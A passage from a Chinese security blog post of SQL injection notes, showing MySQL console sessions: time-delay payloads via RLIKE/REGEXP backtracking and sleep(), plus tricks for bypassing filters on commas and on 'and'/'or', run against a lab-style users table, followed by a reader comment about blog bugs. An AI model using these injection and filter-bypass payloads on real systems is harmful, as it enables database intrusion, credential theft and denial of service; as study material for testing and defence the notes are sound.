image.png

RLIKE/REGEXP
通过rpad或repeat构造长字符串,加以计算量大的pattern,通过repeat的参数可以控制延时长短。
mysql> select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');
+-------------------------------------------------------------+
| rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b') |
+-------------------------------------------------------------+
|                                                           0 |
+-------------------------------------------------------------+
1 row in set (6.63 sec)

mysql> select rpad('a',4999999,'a') regexp concat(repeat('(a.*)+',30),'b');
+--------------------------------------------------------------+
| rpad('a',4999999,'a') regexp concat(repeat('(a.*)+',30),'b') |
+--------------------------------------------------------------+
|                                                            0 |
+--------------------------------------------------------------+
1 row in set (6.75 sec)

过滤逗号

mysql> select user();
+----------------+
| user()         |
+----------------+
| root@localhost |
+----------------+
1 row in set (0.00 sec)

mysql> select mid(user() from -1);
+---------------------+
| mid(user() from -1) |
+---------------------+
| t                   |
+---------------------+
1 row in set (0.00 sec)

mysql> select mid(user() from -2);
+---------------------+
| mid(user() from -2) |
+---------------------+
| st                  |
+---------------------+
1 row in set (0.00 sec)
mysql> select * from users union select * from (select 1)a join (select 2)b join (select 3)c;
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  1 | Dumb     | Dumb       |
|  2 | Angelina | I-kill-you |
|  3 | Dummy    | p@ssword   |
|  1 | 2        | 3          |
+----+----------+------------+
4 rows in set (0.00 sec)

数字型过滤and or

mysql> select * from users where id=1/(select sleep(3));
Empty set, 17 warnings (51.06 sec)

  1. 微笑师傅写的这篇《注入笔记》 我看完后 收益良多 get到许多之前未认真了解过的注入知识点 顺带吐槽下微笑师傅你的博客搜索功能(别打我,狗头保命) 我在搜索栏那块 无论搜索什么内容 都会跳转到404页面 甚至我把任意一篇文章标题复制粘贴搜索 提示显示404页面 另外 不知是不是我火狐浏览器的原因 我在微笑师傅你的博客归档 看历史文章只能一直看到去年6月份的文章 因此我特来向微笑师傅汇报下这些bugs 之后可以修正下

    Vul_Ghost     回复
 

发表评论

 
发表评论